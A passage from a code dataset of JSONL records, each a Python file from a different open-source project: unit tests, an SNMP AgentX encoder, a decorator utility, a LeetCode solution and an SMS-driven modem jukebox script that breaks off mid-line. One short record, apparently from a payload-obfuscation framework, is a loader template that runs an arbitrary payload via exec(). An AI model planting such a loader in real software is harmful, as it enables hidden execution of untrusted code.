test_get_introspection_finished(self, get_mock):\n get_mock.return_value = node_cache.NodeInfo(uuid='uuid',\n started_at=42.0,\n finished_at=100.1,\n error='boom')\n res = self.app.get('/v1/introspection/uuid')\n self.assertEqual(200, res.status_code)\n self.assertEqual({'finished': True, 'error': 'boom'},\n json.loads(res.data.decode('utf-8')))\n\n\n@mock.patch.object(eventlet.greenthread, 'sleep', autospec=True)\n@mock.patch.object(utils, 'get_client')\nclass TestCheckIronicAvailable(test_base.BaseTest):\n def test_ok(self, client_mock, sleep_mock):\n main.check_ironic_available()\n client_mock.return_value.driver.list.assert_called_once_with()\n self.assertFalse(sleep_mock.called)\n\n def test_2_attempts(self, client_mock, sleep_mock):\n cli = mock.Mock()\n client_mock.side_effect = [Exception(), cli]\n main.check_ironic_available()\n self.assertEqual(2, client_mock.call_count)\n cli.driver.list.assert_called_once_with()\n sleep_mock.assert_called_once_with(\n conf.getint('discoverd', 'ironic_retry_period'))\n\n def test_failed(self, client_mock, sleep_mock):\n attempts = conf.getint('discoverd', 'ironic_retry_attempts')\n client_mock.side_effect = RuntimeError()\n self.assertRaises(RuntimeError, main.check_ironic_available)\n self.assertEqual(1 + attempts, client_mock.call_count)\n self.assertEqual(attempts, sleep_mock.call_count)\n\n\nclass TestPlugins(unittest.TestCase):\n @mock.patch.object(example_plugin.ExampleProcessingHook,\n 'before_processing', autospec=True)\n @mock.patch.object(example_plugin.ExampleProcessingHook,\n 'before_update', autospec=True)\n def test_hook(self, mock_post, mock_pre):\n plugins_base._HOOKS_MGR = None\n conf.CONF.set('discoverd', 'processing_hooks', 'example')\n mgr = plugins_base.processing_hooks_manager()\n mgr.map_method('before_processing', 'node_info')\n mock_pre.assert_called_once_with(mock.ANY, 'node_info')\n mgr.map_method('before_update', 'node', ['port'], 'node_info')\n mock_post.assert_called_once_with(mock.ANY, 'node', ['port'],\n 'node_info')\n\n def test_manager_is_cached(self):\n self.assertIs(plugins_base.processing_hooks_manager(),\n plugins_base.processing_hooks_manager())\n\n\nclass TestConfigShim(unittest.TestCase):\n def test_old_style_invocation(self):\n self.assertEqual(main.config_shim(\n ['ironic-discoverd', '/etc/conf']),\n ['--config-file', '/etc/conf'])\n\n def test_new_style_returns_None(self):\n self.assertEqual(main.config_shim(\n ['ironic-discoverd', '--config-file', '/etc/conf']),\n None)\n", "source": "OpenDaisy/daisy-discoverd", "license": "Apache-2.0"} {"text": "loader=\"\"\"\nd = dict(locals(), **globals())\nexec(self.payload, d, d)\n\"\"\"\n", "source": "ohoph/Ebowla", "license": "BSD-3-Clause"} {"text": "# (C) Copyright 2007-2019 Enthought, Inc., Austin, TX\n# All rights reserved.\n#\n# This software is provided without warranty under the terms of the BSD\n# license included in LICENSE.txt and may be redistributed only\n# under the conditions described in the aforementioned license. The license\n# is also available online at http://www.enthought.com/licenses/BSD.txt\n# Thanks for using Enthought open source!\n\nimport contextlib\nimport os\ntry:\n # Python 3: mock available in std. lib.\n from unittest import mock\nexcept ImportError:\n # Python 2: use 3rd party mock library\n import mock\nimport shutil\nimport tempfile\nimport unittest\nimport warnings\n\nfrom traits.api import List\n\nfrom envisage._compat import STRING_BASE_CLASS\nfrom envisage.api import Application, Plugin\nfrom envisage.core_plugin import CorePlugin\nfrom envisage.tests.ets_config_patcher import ETSConfigPatcher\n\n# Skip these tests unless ipykernel is available.\ntry:\n import ipykernel # noqa: F401\nexcept ImportError:\n ipykernel_available = False\nelse:\n ipykernel_available = True\n\nif ipykernel_available:\n from envisage.plugins.ipython_kernel.internal_ipkernel import (\n InternalIPKernel)\n from envisage.plugins.ipython_kernel.ipython_kernel_plugin import (\n IPYTHON_KERNEL_PROTOCOL, IPYTHON_NAMESPACE, IPythonKernelPlugin)\n\n\n@unittest.skipUnless(ipykernel_available,\n \"skipping tests that require the ipykernel package\")\nclass TestIPythonKernelPlugin(unittest.TestCase):\n def setUp(self):\n ets_config_patcher = ETSConfigPatcher()\n ets_config_patcher.start()\n self.addCleanup(ets_config_patcher.stop)\n\n # Make sure that IPython-related files are written to a temporary\n # directory instead of the home directory.\n tmpdir = tempfile.mkdtemp()\n self.addCleanup(shutil.rmtree, tmpdir)\n\n self._old_ipythondir = os.environ.get(\"IPYTHONDIR\")\n os.environ[\"IPYTHONDIR\"] = tmpdir\n\n def tearDown(self):\n # Restore previous state of the IPYTHONDIR environment variable.\n old_ipythondir = self._old_ipythondir\n if old_ipythondir is None:\n del os.environ[\"IPYTHONDIR\"]\n else:\n os.environ[\"IPYTHONDIR\"] = old_ipythondir\n\n def test_import_from_api(self):\n # Regression test for enthought/envisage#108\n from envisage.plugins.ipython_kernel.api import IPYTHON_KERNEL_PROTOCOL\n self.assertIsInstance(IPYTHON_KERNEL_PROTOCOL, STRING_BASE_CLASS)\n\n def test_kernel_service(self):\n # See that we can get the IPython kernel service when the plugin is\n # there.\n with self.running_app() as app:\n kernel = app.get_service(IPYTHON_KERNEL_PROTOCOL)\n self.assertIsInstance(kernel, InternalIPKernel)\n self.assertIsNotNone(kernel.ipkernel)\n\n # After application stop, the InternalIPKernel object should\n # also have been shut down.\n self.assertIsNone(kernel.ipkernel)\n\n def test_kernel_namespace_extension_point(self):\n class NamespacePlugin(Plugin):\n kernel_namespace = List(contributes_to=IPYTHON_NAMESPACE)\n\n def _kernel_namespace_default(self):\n return [('y', 'hi')]\n\n plugins = [\n IPythonKernelPlugin(init_ipkernel=True),\n NamespacePlugin(),\n ]\n\n with self.running_app(plugins=plugins) as app:\n kernel = app.get_service(IPYTHON_KERNEL_PROTOCOL)\n self.assertIn('y', kernel.namespace)\n self.assertEqual(kernel.namespace['y'], 'hi')\n\n def test_get_service_twice(self):\n with self.running_app() as app:\n kernel1 = app.get_service(IPYTHON_KERNEL_PROTOCOL)\n kernel2 = app.get_service(IPYTHON_KERNEL_PROTOCOL)\n self.assertIs(kernel1, kernel2)\n\n def test_service_not_used(self):\n # If the service isn't used, no kernel should be created.\n from envisage.plugins.ipython_kernel import internal_ipkernel\n\n kernel_instances = []\n\n class TrackingInternalIPKernel(internal_ipkernel.InternalIPKernel):\n def __init__(self, *args, **kwargs):\n super(TrackingInternalIPKernel, self).__init__(*args, **kwargs)\n kernel_instances.append(self)\n\n patcher = mock.patch.object(\n internal_ipkernel,\n \"InternalIPKernel\",\n TrackingInternalIPKernel,\n )\n\n with patcher:\n kernel_plugin = IPythonKernelPlugin(init_ipkernel=True)\n with self.running_app(plugins=[kernel_plugin]):\n pass\n\n self.assertEqual(kernel_instances, [])\n\n def test_service_used(self):\n # This is a complement to the test_service_not_used test. It's mostly\n # here as a double check on the somewhat messy test machinery used in\n # test_service_not_used: if the assumptions (e.g., on the location that\n # InternalIPKernel is imported from) in test_service_not_used break,\n # then this test will likely break too.\n\n from envisage.plugins.ipython_kernel import internal_ipkernel\n\n kernel_instances = []\n\n class TrackingInternalIPKernel(internal_ipkernel.InternalIPKernel):\n def __init__(self, *args, **kwargs):\n super(TrackingInternalIPKernel, self).__init__(*args, **kwargs)\n kernel_instances.append(self)\n\n patcher = mock.patch.object(\n internal_ipkernel,\n \"InternalIPKernel\",\n TrackingInternalIPKernel,\n )\n\n with patcher:\n kernel_plugin = IPythonKernelPlugin(init_ipkernel=True)\n with self.running_app(plugins=[kernel_plugin]) as app:\n app.get_service(IPYTHON_KERNEL_PROTOCOL)\n\n self.assertEqual(len(kernel_instances), 1)\n\n def test_no_init(self):\n # Testing deprecated behaviour where the kernel is not initialized.\n plugins = [IPythonKernelPlugin()]\n\n with self.running_app(plugins=plugins) as app:\n with warnings.catch_warnings(record=True) as warn_msgs:\n warnings.simplefilter(\"always\", category=DeprecationWarning)\n app.get_service(IPYTHON_KERNEL_PROTOCOL)\n\n matching_messages = [\n msg for msg in warn_msgs\n if isinstance(msg.message, DeprecationWarning)\n if \"kernel will be initialized\" in str(msg.message)\n ]\n self.assertEqual(len(matching_messages), 1)\n\n @contextlib.contextmanager\n def running_app(self, plugins=None):\n \"\"\"\n Returns a context manager that provides a running application.\n\n Parameters\n ----------\n plugins : list of Plugin, optional\n Plugins to use in the application, other than the CorePlugin\n (which is always included). If not given, an IPythonKernelPlugin\n is instantiated and used.\n \"\"\"\n if plugins is None:\n plugins = [IPythonKernelPlugin(init_ipkernel=True)]\n\n app = Application(plugins=[CorePlugin()] + plugins, id='test')\n app.start()\n try:\n yield app\n finally:\n app.stop()\n", "source": "adamcvj/SatelliteTracker", "license": "Apache-2.0"} {"text": "# vim: ft=python fileencoding=utf-8 sts=4 sw=4 et:\n\n# Copyright 2018-2021 Florian Bruhin (The Compiler) \n#\n# This file is part of qutebrowser.\n#\n# qutebrowser is free software: you can redistribute it and/or modify\n# it under the terms of the GNU General Public License as published by\n# the Free Software Foundation, either version 3 of the License, or\n# (at your option) any later version.\n#\n# qutebrowser is distributed in the hope that it will be useful,\n# but WITHOUT ANY WARRANTY; without even the implied warranty of\n# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n# GNU General Public License for more details.\n#\n# You should have received a copy of the GNU General Public License\n# along with qutebrowser. If not, see .\n\n\"\"\"Wrappers around Qt/PyQt code.\"\"\"\n\n# pylint: disable=unused-import\n\n# While upstream recommends using PyQt5.sip ever since PyQt5 5.11, some distributions\n# still package later versions of PyQt5 with a top-level \"sip\" rather than \"PyQt5.sip\".\ntry:\n from PyQt5 import sip\nexcept ImportError:\n import sip # type: ignore[import, no-redef]\n", "source": "fochoao/cpython", "license": "bzip2-1.0.6"} {"text": "\"\"\"\n'AgentX Encodings' as described in https://tools.ietf.org/html/rfc2741#section-5\n\"\"\"\n\nimport struct\nfrom collections import namedtuple\n\nfrom . import constants, util\n\n\nclass ObjectIdentifier(\n namedtuple('_ObjectIdentifier', ('n_subid', 'prefix_', 'include', 'reserved', 'subids'))\n):\n \"\"\"\n From https://tools.ietf.org/html/rfc2741#section-5.1:\n\n An object identifier is encoded as a 4-byte header, followed by a\n variable number of contiguous 4-byte fields representing sub-\n identifiers.\n \"\"\"\n __slots__ = ()\n\n @property\n def prefix(self):\n \"\"\"\n An unsigned value used to reduce the length of object\n identifier encodings. A non-zero value \"x\" is interpreted as\n the first sub-identifier after \"internet\" (1.3.6.1), and\n indicates an implicit prefix \"internet.x\" to the actual sub-\n identifiers encoded in the Object Identifier. For example, a\n prefix field value 2 indicates an implicit prefix \"1.3.6.1.2\".\n A value of 0 in the prefix field indicates there is no prefix\n to the sub-identifiers.\n \"\"\"\n if not self.prefix_:\n return ()\n else:\n return constants.INTERNET_PREFIX + (self.prefix_,)\n\n def __str__(self):\n subid_strs = [str(subid) for subid in self.to_tuple()]\n return '.' + '.'.join(subid_strs) if subid_strs else ''\n\n @property\n def size(self):\n return 4 + 4 * self.n_subid\n\n def to_tuple(self):\n return self.prefix + self.subids\n\n def to_bytes(self, endianness):\n format_string = endianness + 'BBBB' + str(len(self.subids)) + 'L'\n return struct.pack(format_string, self.n_subid, self.prefix_, self.include, self.reserved, *self.subids)\n\n def inc(self):\n \"\"\"\n Returns a new object identifier with last subid increased by one\n \"\"\"\n newsubids = self.subids[:-1] + (self.subids[-1] + 1,)\n return self._replace(subids = newsubids)\n\n @classmethod\n def null_oid(cls):\n return cls(0, 0, 0, 0, ())\n\n @classmethod\n def from_iterable(cls, subids):\n prefix = 0\n if tuple(subids[:4]) == constants.INTERNET_PREFIX:\n prefix = subids[4]\n subids = subids[5:]\n return cls(len(subids), prefix, 0, 0, subids)\n\n @classmethod\n def from_bytes(cls, byte_string, endianness):\n \"\"\"\n +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+\n | n_subid | prefix | include | |\n +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+\n | subidentifier #1 |\n +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+\n ... |\n +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+\n | subidentifier #n_subid |\n +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+\n\n :param byte_string: string to unpack\n :param endianness: '!' or '<' (big/little endian)\n :return: n-oids, does not modify the original buffer and the index following the end of the OID\n \"\"\"\n oid_attributes = (n_subid, prefix, _, reserved) = struct.unpack(endianness + 'BBBB', byte_string[:4])\n start_offset = 4\n end_offset = start_offset + n_subid * 4\n subids = struct.unpack(endianness + n_subid * 'L', byte_string[start_offset:end_offset])\n\n # oid = (n_subid, prefix, _, reserved, (subid1, subid2, ...))\n return cls(*oid_attributes, subids)\n\n\nclass SearchRange(namedtuple('_SearchRange', ('start', 'end'))):\n \"\"\"\n From https://tools.ietf.org/html/rfc2741#section-5.2:\n\n A SearchRange consists of two Object Identifiers. In its\n communication with a subagent, the master agent uses a SearchRange to\n identify a requested variable binding, and, in GetNext and GetBulk\n operations, to set an upper bound on the names of managed object\n instances the subagent may send in reply.\n \"\"\"\n __slots__ = ()\n\n def __str__(self):\n end_str = str(self.end)\n ret = str(self.start)\n ret += ' --> ' + str(self.end) if end_str else ' (unbounded)'\n return ret\n\n @property\n def size(self):\n return self.start.size + self.end.size\n\n def to_bytes(self, endianness):\n return self.start.to_bytes(endianness) + self.end.to_bytes(endianness)\n\n @classmethod\n def from_bytes(cls, byte_string, endianness):\n # unpack the first OID\n start = ObjectIdentifier.from_bytes(byte_string, endianness)\n # unpack the second OID (resume at the end of the first)\n end = ObjectIdentifier.from_bytes(byte_string[start.size:], endianness)\n # compose our SearchRange tuple\n return cls(start, end)\n\n\nclass OctetString(namedtuple('_OctetString', ('length', 'string', 'padding'))):\n \"\"\"\n https://tools.ietf.org/html/rfc2741#section-5.3\n \"\"\"\n __slots__ = ()\n\n @property\n def size(self):\n return 4 + self.length + util.pad4(self.length)\n\n def __str__(self):\n return self.string.decode('ascii')\n\n @classmethod\n def from_string(cls, string):\n length = len(string)\n _string = bytes(string, 'ascii') if type(string) is str else string\n return cls(length, _string, util.pad4bytes(len(_string)))\n\n def to_bytes(self, endianness):\n fmt = endianness + 'L{}s{}s'.format(self.length, util.pad4(self.length))\n return struct.pack(fmt, self.length, self.string, self.padding)\n\n @classmethod\n def from_bytes(cls, byte_string, endianness):\n \"\"\"\n +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+\n | Octet String Length (L) |\n +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+\n | Octet 1 | Octet 2 | Octet 3 | Octet 4 |\n +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+\n +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+\n | Octet L - 1 | Octet L | Padding (as required) |\n +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+\n\n :param byte_string: string to unpack.\n :param endianness: '!' or '<' (big/little endian)\n :return: octet string tuple, new offset. does not modify the original buffer.\n \"\"\"\n # read the length string\n string_length_bytes = byte_string[:4]\n # look ahead to the length value\n string_length = struct.unpack(endianness + 'L', string_length_bytes)[0]\n # strings are padded to 4 bytes.\n padding_length = util.pad4(string_length)\n\n # E.g. !L101s3s -> (length[long], string, padding[string])\n fmt = '{}L{}s{}s'.format(endianness, string_length, padding_length)\n # calculate offset\n size = struct.calcsize(fmt)\n # format the context string\n return cls(*struct.unpack(fmt, byte_string[:size]))\n\n\nclass ValueRepresentation(namedtuple('_ValueRepresentation', ('type_', 'reserved', 'name', 'data'))):\n \"\"\"\n https://tools.ietf.org/html/rfc2741#section-5.4\n\n Variable bindings may be encoded within the variable-length portion\n of some PDUs. The representation of a variable binding (termed a\n VarBind) consists of a 2-byte type field, a name (Object Identifier),\n and the actual value data.\n \"\"\"\n __slots__ = ()\n\n FOUR_BYTE_TYPES = [\n constants.ValueType.INTEGER,\n constants.ValueType.COUNTER_32,\n constants.ValueType.GAUGE_32,\n constants.ValueType.TIME_TICKS,\n # Four total\n ]\n\n OCTET_STRINGS = [\n constants.ValueType.IP_ADDRESS,\n constants.ValueType.OPAQUE,\n constants.ValueType.OCTET_STRING,\n # Three total\n ]\n\n EMPTY_TYPES = [\n constants.ValueType.NULL,\n constants.ValueType.NO_SUCH_OBJECT,\n constants.ValueType.NO_SUCH_INSTANCE,\n constants.ValueType.END_OF_MIB_VIEW,\n # Four total\n ]\n\n # 2 + 4 + 3 + 4 = 13. All types accounted for.\n\n @property\n def size(self):\n size = 4 + self.name.size\n typed_bind = constants.ValueType(self.type_)\n if typed_bind in self.FOUR_BYTE_TYPES:\n size += 4\n elif typed_bind == constants.ValueType.COUNTER_64:\n size += 8\n elif typed_bind == constants.ValueType.OBJECT_IDENTIFIER or typed_bind in self.OCTET_STRINGS:\n size += self.data.size\n elif typed_bind in self.EMPTY_TYPES:\n # _size += 0\n pass\n return size\n\n @classmethod\n def from_typecast(cls, type_, oid_iter_or_obj, data):\n oid = ObjectIdentifier.from_iterable(oid_iter_or_obj) \\\n if type(oid_iter_or_obj) is not ObjectIdentifier else oid_iter_or_obj\n if type_ in cls.OCTET_STRINGS:\n _data = OctetString.from_string(data)\n elif type_ == constants.ValueType.OBJECT_IDENTIFIER:\n _data = ObjectIdentifier.from_iterable(data) if type(data) is not ObjectIdentifier else data\n elif type_ in cls.EMPTY_TYPES:\n _data = None\n else:\n _data = data\n\n return cls(type_, 0, oid, _data)\n\n @classmethod\n def _unpack_data(cls, type_, byte_string, endianness):\n \"\"\"\n - Integer, Counter32, Gauge32, and TimeTicks are encoded as 4\n contiguous bytes, according to the header's\n NETWORK_BYTE_ORDER bit.\n\n - Counter64 is encoded as 8 contiguous bytes, according to\n the header's NETWORK_BYTE_ORDER bit.\n\n - Object Identifiers are encoded as described in section 5.1,\n Object Identifier.\n\n - IpAddress, Opaque, and Octet String are all octet strings\n and are encoded as described in section 5.3, \"Octet\n String\", Octet String. Note that the octets used to\n represent IpAddress are always ordered most significant to\n least significant.\n\n Value data always follows v.name whenever v.type is one of\n the above types. These data bytes are present even if they\n will not be used (as, for example, in certain types of\n index allocation).\n\n - Null, noSuchObject, noSuchInstance, and endOfMibView do not\n contain any encoded value. Value data never follows v.name\n in these cases.\n\n :param type_: type integer\n :param byte_string: byte stream\n \"\"\"\n typed_bind = constants.ValueType(type_)\n if typed_bind in cls.FOUR_BYTE_TYPES:\n data = struct.unpack(endianness + 'L', byte_string[:4])[0]\n size = 4\n elif typed_bind == constants.ValueType.COUNTER_64:\n data = struct.unpack(endianness + 'Q', byte_string[:8])[0]\n size = 8\n elif typed_bind == constants.ValueType.OBJECT_IDENTIFIER:\n data = ObjectIdentifier.from_bytes(byte_string, endianness)\n size = data.size\n elif typed_bind in cls.OCTET_STRINGS:\n data = OctetString.from_bytes(byte_string, endianness)\n size = data.size\n elif typed_bind in cls.EMPTY_TYPES:\n data = None\n size = 0\n else:\n raise ValueError(\"Unknown bound type.\")\n\n return data, size\n\n def to_bytes(self, endianness):\n fmt = endianness + 'HH'\n byte_string = struct.pack(fmt, self.type_, self.reserved)\n byte_string += self.name.to_bytes(endianness)\n\n typed_bind = constants.ValueType(self.type_)\n if typed_bind in self.FOUR_BYTE_TYPES:\n byte_string += struct.pack(endianness + 'L', self.data)\n elif typed_bind == constants.ValueType.COUNTER_64:\n byte_string += struct.pack(endianness + 'Q', self.data)\n elif typed_bind == constants.ValueType.OBJECT_IDENTIFIER or typed_bind in self.OCTET_STRINGS:\n byte_string += self.data.to_bytes(endianness)\n elif typed_bind in self.EMPTY_TYPES:\n # ret += b''\n pass\n return byte_string\n\n @classmethod\n def from_bytes(cls, byte_string, endianness):\n \"\"\"\n VarBind\n\n +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+\n | v.type | |\n +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+\n\n (v.name)\n +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+\n | n_subid | prefix | 0 | 0 |\n +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+\n | sub-identifier #1 |\n +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+\n +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+\n | sub-identifier #n_subid |\n +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+\n\n (v.data)\n +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+\n | data |\n +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+\n +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+\n | data |\n +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+\n\n :param byte_string: Stream of bytes from which to unpack the VR\n :param endianness: big/little endian format specifier.\n :return: an instance of ValueRepresentation.\n \"\"\"\n type_, reserved = struct.unpack(endianness + 'HH', byte_string[:4])\n name = ObjectIdentifier.from_bytes(byte_string[4:], endianness)\n offset = 4 + name.size\n data, offset = cls._unpack_data(type_, byte_string[offset:], endianness)\n vr = cls(constants.ValueType(type_), reserved, name, data)\n return vr\n", "source": "lguohan/sonic-snmpagent", "license": "Apache-2.0"} {"text": "\nfrom functools import partial\nfrom typing import (\n Any, Callable, Dict, Optional, Sequence,\n Tuple, Type)\n\n\nclass preload:\n\n def __init__(\n self,\n when: Sequence[str],\n blocks: Optional[Sequence[str]] = None,\n catches: Optional[Sequence[Type[BaseException]]] = None,\n name: Optional[str] = None,\n unless: Optional[Sequence[str]] = None) -> None:\n self._when = when\n self._blocks = blocks\n self._catches = catches\n self._name = name\n self._unless = unless\n\n def __call__(self, fun: Callable, *args, **kwargs) -> \"preload\":\n self._fun = fun\n return self\n\n def __set_name__(self, cls: Type, name: str) -> None:\n self.name = name\n cls._preload_checks_data = self.get_preload_checks_data(cls)\n\n def __get__(self, instance: Any, cls: Optional[Type] = None) -> Any:\n if instance is None:\n return self\n return partial(self.fun, instance)\n\n @property\n def blocks(self) -> Tuple[str, ...]:\n return self.when + tuple(self._blocks or ())\n\n @property\n def catches(self) -> Tuple[Type[BaseException], ...]:\n return tuple(self._catches or ())\n\n @property\n def tag_name(self) -> str:\n return self._name or self.name\n\n @property\n def when(self) -> Tuple[str, ...]:\n return tuple(self._when)\n\n @property\n def unless(self) -> Tuple[str, ...]:\n return tuple(self._unless or ())\n\n def fun(self, instance, *args, **kwargs) -> Any:\n if self._fun:\n return self._fun(instance, *args, **kwargs)\n\n def get_preload_checks_data(\n self,\n cls: Type) -> Tuple[Tuple[str, Dict], ...]:\n preload_checks_data = dict(getattr(cls, \"_preload_checks_data\", ()))\n preload_checks_data[self.tag_name] = dict(\n name=self.tag_name,\n blocks=self.blocks,\n catches=self.catches,\n fun=self.fun,\n when=self.when,\n unless=self.unless)\n return tuple(preload_checks_data.items())\n", "source": "Nordix/pytooling", "license": "Apache-2.0"} {"text": "\nfrom datetime import datetime\nfrom functools import cached_property\n\nimport abstracts\n\nfrom aio.api.github import utils\nfrom .base import GithubRepoEntity\n\n\nclass AGithubCommit(GithubRepoEntity, metaclass=abstracts.Abstraction):\n \"\"\"A Github commit.\"\"\"\n\n def __str__(self):\n return f\"<{self.__class__.__name__} {self.repo.name}#{self.sha}>\"\n\n @cached_property\n def timestamp(self) -> datetime:\n \"\"\"Datetime of the commit.\"\"\"\n return utils.dt_from_js_isoformat(\n self.data[\"commit\"][\"committer\"][\"date\"])\n", "source": "Nordix/pytooling", "license": "Apache-2.0"} {"text": "class Solution:\n def maxPower(self, s: str) -> int:\n best_answer = 1\n current_answer = 1\n last_char = None\n for char in s:\n if last_char == char:\n current_answer += 1\n else:\n if current_answer > best_answer:\n best_answer = current_answer\n current_answer = 1\n last_char = char\n \n if current_answer > best_answer:\n best_answer = current_answer\n \n return best_answer\n", "source": "Pondorasti/Competitive-Programming", "license": "MIT"} {"text": "from __future__ import print_function\nimport logging\nimport serial\nimport serial.threaded\nimport threading\nimport time\nimport re\nimport os\nimport sys\nfrom messaging.sms import SmsDeliver, SmsSubmit\nfrom enum import Enum\n\nif os.name == 'posix' and sys.version_info[0] < 3:\n\timport subprocess32 as subprocess\nelse:\n import subprocess\n\ntry:\n\timport queue\nexcept ImportError:\n\timport Queue as queue\n\nclass ATException(Exception):\n\tpass\n\nclass Status(Enum):\n\tIDLE = 0\n\tINCOMING_SMS = 1\n\tACTIVE_CALL = 2\n\tINCOMING_CALL = 3\n\ndef print_dbg(*args):\n\tprint(*args) # uncomment do enable debug\n\treturn\n\nclass WurlitzerProtocol(serial.threaded.LineReader):\n\n\tTERMINATOR = b'\\r\\n'\n\tCLCC_REGEX = re.compile(r'\\+CLCC: (\\d),(\\d),(\\d),(\\d),(\\d),\"(.+)\",(\\d{1,3}),\"(.*)\"')\n\tCALL_STATES = ['BUSY', 'RING', 'NO CARRIER', 'NO ANSWER', 'NO DIALTONE']\n\n\tdef __init__(self):\n\t\tsuper(WurlitzerProtocol, self).__init__()\n\t\tself.alive = True\n\t\tself.playlist = {}\n\t\tself.status = Status.IDLE\n\t\tself.responses = queue.Queue()\n\t\tself.events = queue.Queue()\n\t\tself.clcc_outgoing = queue.Queue()\n\t\tself.clcc_incoming = queue.Queue()\n\t\tself._event_thread = threading.Thread(target=self.__run_event)\n\t\tself._event_thread.daemon = True\n\t\tself._event_thread.name = \"wrlz-event\"\n\t\tself._event_thread.start()\n\t\tself.lock = threading.Lock()\n\n\tdef stop(self):\n\t\tself.alive = False\n\t\tself.events.put(None)\n\t\tself.responses.put('')\n\n\tdef __run_event(self):\n\t\twhile self.alive:\n\t\t\ttry:\n\t\t\t\tself.__handle_event(self.events.get())\n\t\t\texcept:\n\t\t\t\tlogging.exception('_run_event')\n\n\tdef init_module(self):\n\t\tself.command('ATE0')\t\t# disable echo\n\t\tself.command('AT+CFUN=1')\t# enable full functionality\n\t\tself.command('AT+COLP=0')\t# do not block on ATD...\n\t\tself.command('AT+CLCC=1')\t# report state of current calls\n\t\tself.command('AT+CLIP=0')\t# do not indicate incomming call via '+CLIP:...'\n\t\tself.command('AT+CMGF=0')\t# enable PDU mode for SMS\n\t\tself.command('AT+CNMI=2,2')\t# handle SMS directly via '+CMT:...'\n\n\tdef load_playlist(self, path):\n\t\twith open(path) as f:\n \t\t\tself.playlist = dict(l.rstrip().split(None, 1) for l in f)\n\n\tdef handle_line(self, line):\n\t\tprint_dbg('INPUT: ', line)\n\t\tif self.status == Status.INCOMING_SMS:\n\t\t\tself.events.put(line)\n\t\t\treturn\n\n\t\tclcc_match = self.CLCC_REGEX.match(line)\n\t\tif clcc_match != None and clcc_match.group(2) == '0':\n\t\t\t# outgoing call\n\t\t\tself.clcc_outgoing.put(line)\n\t\telif clcc_match != None and clcc_match.group(2) == '1': \n\t\t\t# incoming call\n\t\t\tself.clcc_incoming.put(line)\n\t\telif line.startswith('+CMT'):\n\t\t\t# set status; next line is PDU\n\t\t\tself.status = Status.INCOMING_SMS\n\t\telif line.startswith('+CMGS'):\n\t\t\t# last sent SMS-identifier\n\t\t\tself.responses.put(line);\n\t\telif line in self.CALL_STATES:\n\t\t\tprint_dbg('ignore call state: ', line)\n\t\telif line.startswith('+'):\n\t\t\tself.events.put(line)\n\t\telse:\n\t\t\tself.responses.put(line)\n\n\tdef __handle_event(self, event):\n\t\tprint_dbg('event received:', event)\n\t\tif self.status == Status.INCOMING_SMS:\n\t\t\tself.status = Status.IDLE\n\t\t\tself.__handle_sms(event)\n\n\tdef __handle_sms(self, pdu):\n\t\tsms = SmsDeliver(pdu)\n\t\tprint_dbg('SMS from:', sms.number, 'text:', sms.text);\n\t\tcmd = sms.text.split(None, 1)[0] # only use first word\n\t\tif cmd in self.playlist.keys():\n\t\t\tsong = self.playlist.get(cmd)\n\t\t\tprint_dbg('PLAY: ', cmd)\n\t\t\tself.__place_call(sms.number, song)\n\t\telse:\n\t\t\tprint_dbg('SEND PLAYLIST')\n\t\t\tresponse = SmsSubmit(sms.number, 'Select song:\\n> ' + '\\n> '.join(self.playlist.keys()))\n\t\t\tfor resp_pdu in response.to_pdu():\n\t\t\t\tprint_dbg('RESP:', resp_pdu.pdu)\n\t\t\t\t# cannot wait for response '> ' due to missing '\\r'\n\t\t\t\tself.command(b'AT+CMGS=%d' % resp_pdu.length, None)\n\t\t\t\ttime.sleep(1) # just wait 1sec instead\n\t\t\t\tself.command(b'%s\\x1a' % resp_pdu.pdu)\n\n\tdef __place_call(self, number, song):\n\t\tprint_dbg('Calling: ', number)\n\t\tself.command('ATD%s;' % number)\n\t\tcall_state = 'CALLING'\n\t\ttimeout_cnt = 3\n\t\tplayer = None\n\t\twhile True:\n\t\t\ttry:\n\t\t\t\tclcc = self.clcc_outgoing.get(timeout = 